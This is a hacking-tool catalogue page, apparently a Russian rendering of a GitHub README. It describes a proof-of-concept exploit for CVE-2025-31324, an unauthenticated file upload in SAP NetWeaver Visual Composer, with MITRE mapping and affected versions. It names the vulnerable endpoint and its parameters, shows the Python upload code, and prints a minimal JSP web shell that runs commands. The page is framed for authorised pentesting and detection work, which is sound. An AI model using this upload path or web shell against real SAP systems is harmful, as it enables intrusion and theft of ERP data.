Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-31324 — Proof-of-concept эксплойт для CVE-2025-31324 — неаутентифицированная загрузка файлов в SAP NetWeaver Visual Composer, с рекомендациями по обнаружению, сопоставлением с MITRE и шагами по устранению уязвимости. | Kitploit
Инструменты/GitHubGitHub/hkenzokimura/cve-2025-31324
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingРеагирование на Инциденты
GitHub
hkenzokimura/cve-2025-31324

CVE-2025-31324

Proof-of-concept эксплойт для CVE-2025-31324 — неаутентифицированная загрузка файлов в SAP NetWeaver Visual Composer, с рекомендациями по обнаружению, сопоставлением с MITRE и шагами по устранению уязвимости.

Репозиторий
201 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🔴 CVE-2025-31324 — SAP NetWeaver Visual Composer Неаутентифицированная загрузка файлов

Тип: Proof of Concept — Исследование уязвимостей CVE: CVE-2025-31324 CVSS: 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Статус: Исправлено — SAP Security Note 3594142 + 3604119 Добавлено в CISA KEV: Май 2025

⚠️ Этот PoC использует безвредный JSP-файл («Hello World») для проверки поверхности атаки без выполнения вредоносного кода. Использование только в авторизованных средах для целей пентеста и разработки детектов.

Разработано: HKK


$ cat ./vulnerability_summary.txt

Уязвимость CVE-2025-31324 находится в компоненте Visual Composer Metadata Uploader SAP NetWeaver AS Java — это ошибка отсутствия проверки авторизации, которая позволяет любому неаутентифицированному атакующему отправлять POST-запросы на конечную точку /developmentserver/metadatauploader, что приводит к неограниченной загрузке произвольных файлов.

CVE затрагивает конкретно SAP NetWeaver Visual Composer Framework версии 7.50, с оценкой CVSS 10.0 — максимально возможной.

Угрозы активно эксплуатировали эту уязвимость с января по май 2025 года, развертывая постоянные веб-шеллы в сотнях систем по всему миру.


$ cat ./impact.txt

Поскольку уязвимость работает с повышенными привилегиями и находится рядом с данными ERP, горизонтальное перемещение к SAP ABAP стекам или подключенным базам данных тривиально после эксплуатации.

Полная цепочка эксплуатации в реальных атаках:

Upload JSP (CVE-2025-31324)
    → Webshell persistente no servidor
        → RCE como processo SAP (alta privilégio)
            → Acesso a dados ERP (Finance, HR, Supply Chain)
                → Lateral movement para ABAP / DB
                    → Deploy de frameworks C2 (ex: Brute Ratel)

$ cat ./architecture.txt

Как работает уязвимая конечная точка

┌─────────────────────────────────────────────────────────────────────────┐
│              CVE-2025-31324 — EXPLOIT FLOW                              │
│                                                                         │
│  ATACANTE                    SAP NETWEAVER AS JAVA                      │
│                                                                         │
│  POST /developmentserver/metadatauploader                               │
│  Content-Type: multipart/form-data          ┌─────────────────────┐    │
│  Body: arquivo JSP/WAR/qualquer ──────────► │  Metadata Uploader  │    │
│  (sem autenticação)                         │                     │    │
│                                             │  ❌ Sem verificação  │    │
│                                             │     de auth         │    │
│                                             │  ❌ Sem validação    │    │
│                                             │     de extensão     │    │
│                                             │  ❌ Sem sanitização  │    │
│                                             │     de conteúdo     │    │
│                                             └────────┬────────────┘    │
│                                                      │                 │
│                                             Arquivo salvo em:          │
│                                             /irj/root/ ou similar      │
│                                                      │                 │
│  GET /irj/hello_world.jsp ◄──────────────────────────┘                 │
│  → Hello World (PoC benigno)                                            │
│  → Webshell (exploit real)                                              │
└─────────────────────────────────────────────────────────────────────────┘

Почему существует эта конечная точка?

/developmentserver/metadatauploader является частью SAP Visual Composer — инструмента low-code разработки для бизнес-аналитиков, позволяющего создавать SAP-приложения без Java-кода. Конечная точка была спроектирована для приема моделей метаданных во время разработки. Хотя компонент не включен в стандартной конфигурации NetWeaver, Onapsis сообщила, что он широко активирован в производственных средах.


$ cat ./design_decisions.md

1. Выбор полезной нагрузки — JSP «Hello World»

file_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""

Почему JSP, а не другой формат?

SAP NetWeaver AS Java запускает JVM — файлы .jsp интерпретируются напрямую сервлет-контейнером (встроенный Apache Tomcat) без предварительной компиляции. Это делает JSP идеальным форматом для веб-шеллов в Java-средах.

Выбор безвредного содержимого («Hello World») намерен для PoC:

  • Проверяет уязвимую поверхность без выполнения вредоносного кода
  • Подтверждает загрузку (код HTTP 200 + файл доступен через GET)
  • Чистое судебное доказательство для отчета о пентесте

При реальной эксплуатации содержимым был бы JSP-веб-шелл с выполнением команд, например:

<%
  String cmd = request.getParameter("cmd");
  Runtime.getRuntime().exec(cmd);
%>

2. multipart/form-data — Почему этот Content-Type?

files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}

Конечная точка ожидает запрос multipart/form-data — тот же формат, который используется HTML-формами загрузки файлов. Это намеренно в оригинальном дизайне Visual Composer (загрузка моделей разработки).

Библиотека requests автоматически собирает границы multipart, когда передается files= — заголовок Content-Type: multipart/form-data; boundary=... генерируется внутренне.

verify=False: отключает проверку TLS-сертификата — необходимо, поскольку SAP-среды часто используют самоподписанные сертификаты. В производстве использовать verify='/path/to/ca-bundle.crt'.

3. Путь конечной точки — Анатомия URL

https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
КомпонентЗначение
:50201Стандартный порт SAP ICM (Internet Communication Manager) HTTPS
/developmentserver/Сервлет разработки Visual Composer
metadatauploaderКонкретная конечная точка загрузки метаданных
CONTENTTYPE=MODELТип содержимого, ожидаемый конечной точкой
CLIENT=1Мандант SAP (клиент) — 000, 100, 001 распространены

$ cat ./mitre_mapping.yml

tactic: Initial Access
  - T1190  # Exploit Public-Facing Application
            # Эксплуатация конечной точки /developmentserver/metadatauploader
            # без аутентификации через HTTP POST

tactic: Execution
  - T1505.003  # Server Software Component: Web Shell
               # JSP webshell загружен → выполнен сервлет-контейнером (Tomcat)

tactic: Persistence
  - T1505.003  # Web Shell как механизм постоянства
               # JSP-файл сохраняется в файловой системе сервера между перезагрузками

tactic: Defense Evasion
  - T1036      # Masquerading
               # Веб-шеллы, названные как легитимные SAP-файлы (например, metadata.jsp)

tactic: Discovery
  - T1082      # System Information Discovery
               # После RCE: перечисление процессов, пользователей, SAP-путей

tactic: Lateral Movement
  - T1210      # Exploitation of Remote Services
               # Доступ к ABAP стеку, подключенным базам данных через RCE

tactic: Collection
  - T1005      # Data from Local System
               # Прямой доступ к данным ERP (Finance, HR, Supply Chain)

$ cat ./affected_versions.txt

Продукт:  SAP NetWeaver Application Server Java
Компонент: Visual Composer Framework
Версия:   7.50 (все сборки до патча апреля/мая 2025)
Скачать инструмент